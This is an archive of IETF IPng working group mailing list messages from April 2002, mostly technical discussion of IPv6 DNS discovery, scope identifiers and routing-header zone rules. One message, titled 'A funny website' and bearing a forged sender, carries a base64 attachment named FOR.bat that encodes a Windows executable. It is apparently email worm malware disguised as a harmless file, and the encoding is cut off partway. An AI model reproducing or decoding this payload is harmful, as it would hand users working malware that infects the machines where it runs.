Is it worth it? Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 01:49:41 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N8neGs010790; Tue, 23 Apr 2002 01:49:40 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N8neYr010789; Tue, 23 Apr 2002 01:49:40 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N8nbGs010782 for ; Tue, 23 Apr 2002 01:49:37 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA01151 for ; Tue, 23 Apr 2002 01:49:38 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA26921 for ; Tue, 23 Apr 2002 02:49:37 -0600 (MDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id LAA12991; Tue, 23 Apr 2002 11:49:23 +0300 Date: Tue, 23 Apr 2002 11:49:23 +0300 Message-Id: <200204230849.LAA12991@burp.tkv.asdf.org> From: Markku Savela To: hesham.soliman@era.ericsson.se CC: ot@cisco.com, hesham.soliman@era.ericsson.se, narten@us.ibm.com, hinden@iprg.nokia.com, ipng@sunroof.eng.sun.com In-reply-to: <4DA6EA82906FD511BE2F00508BCF053802C6ACA4@Esealnt861.al.sw.ericsson.se> (hesham.soliman@era.ericsson.se) Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACA4@Esealnt861.al.sw.ericsson.se> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: "Hesham Soliman (ERA)" > If it's a server, then how could you call the solution > server-less? I think ignore the "word games" with "server-less or not". What is it we exactly want? Isn't it something like I've a device of any type and I want to be able to rip it off from one network/ISP and plug it into another network/IPS using the same configuration. If it needs any servers, wether it is DNS or DHCP server, the addresses of those servers must be fixed and known (or become automaticly known via some bootstrap process, through RA options?). And the question just becomes: which service(s) we want to have directly available: DNS? DHCP? The rest of the possible services are then found through this directly acquired (primary) service address. Do we have one such "primary" service (DNS or DHCP) or multiple? And if only one, which it is? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 02:54:44 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N9siGs010959; Tue, 23 Apr 2002 02:54:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N9siPw010958; Tue, 23 Apr 2002 02:54:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N9seGs010951 for ; Tue, 23 Apr 2002 02:54:40 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA25448 for ; Tue, 23 Apr 2002 02:54:42 -0700 (PDT) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA23088 for ; Tue, 23 Apr 2002 02:54:42 -0700 (PDT) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id g3N9s6Q21030; Tue, 23 Apr 2002 11:54:06 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id LAA21948; Tue, 23 Apr 2002 11:54:06 +0200 (MET DST) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id g3N9s5T64867; Tue, 23 Apr 2002 11:54:06 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200204230954.g3N9s5T64867@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Markku Savela cc: bodeneb@us.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: sockaddr_in6::sin6_scope_id use In-reply-to: Your message of Mon, 22 Apr 2002 02:07:01 +0300. <200204212307.CAA11166@burp.tkv.asdf.org> Date: Tue, 23 Apr 2002 11:54:05 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: The idea of having a scope id which is of different type than than the address was rejected. => please don't reopen old discussion if you have no new argument. Currently, I'm writing a version where identifiers scope type is *always* determined from the address -- you cannot have isolated scope id. => the consensus is we'd like to have "isolated" scope ids. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 03:25:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NAPwGs011124; Tue, 23 Apr 2002 03:25:58 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NAPwdr011123; Tue, 23 Apr 2002 03:25:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NAPtGs011116 for ; Tue, 23 Apr 2002 03:25:55 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA13339 for ; Tue, 23 Apr 2002 03:25:55 -0700 (PDT) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA08090 for ; Tue, 23 Apr 2002 03:25:54 -0700 (PDT) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id g3NAPkB28245; Tue, 23 Apr 2002 12:25:46 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id MAA22430; Tue, 23 Apr 2002 12:25:46 +0200 (MET DST) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id g3NAPkT65012; Tue, 23 Apr 2002 12:25:46 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200204231025.g3NAPkT65012@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: scoping-arch and link-local addresses in RH In-reply-to: Your message of Mon, 22 Apr 2002 18:45:22 +0300. Date: Tue, 23 Apr 2002 12:25:46 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: 9. Forwarding [...] => this is clear: the next destination must not be outside the source zone. I don't believe there is something to discuss for this point. [...] => there are two points: - how to determine the zone of the next destination (as addresses don't carry the id of the zone but only the scope, this is very useful). - do it only on the next destination address, no further (note this is a consequence of the previous point). Only the wording is questionable... (i.e. I can't see a concern for other thing than the form) ==> Security considerations should mention potential problems of crossing zone boundaries w/ routing headers. => as the rules forbid this there is no need for extra considerations. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 23 03:47:01 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NAl1Gs011214; Tue, 23 Apr 2002 03:47:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3NAl0MG011213; Tue, 23 Apr 2002 03:47:00 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3NAkvGs011206 for ; Tue, 23 Apr 2002 03:46:57 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA23631 for ; Tue, 23 Apr 2002 03:46:57 -0700 (PDT) Received: from dns1.shixun.net ([202.108.105.253]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA14452 for ; Tue, 23 Apr 2002 03:46:44 -0700 (PDT) Received: from gaohong.mail ([202.108.105.116]) by dns1.shixun.net with Microsoft SMTPSVC(5.0.2195.4453); Tue, 23 Apr 2002 18:34:27 +0800 Received: from Egqkw [192.216.225.28] by gaohong.mail [192.216.224.8] with SMTP (MDaemon.v2.83.R) for ; Tue, 23 Apr 2002 18:59:12 +0800 From: hinden To: ipng@sunroof.eng.sun.com Subject: A funny website MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Pwi85iIBn1R45rl9Ir3P4gE8821 X-MDaemon-Deliver-To: ipng@sunroof.eng.sun.com X-Return-Path: fanzz@gaohong.mail Message-ID: X-OriginalArrivalTime: 23 Apr 2002 10:34:28.0015 (UTC) FILETIME=[71F69BF0:01C1EAB2] Date: 23 Apr 2002 18:34:28 +0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --Pwi85iIBn1R45rl9Ir3P4gE8821 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable This is a funny website
I wish you would enjoy it.
--Pwi85iIBn1R45rl9Ir3P4gE8821 Content-Type: application/octet-stream; name=FOR.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 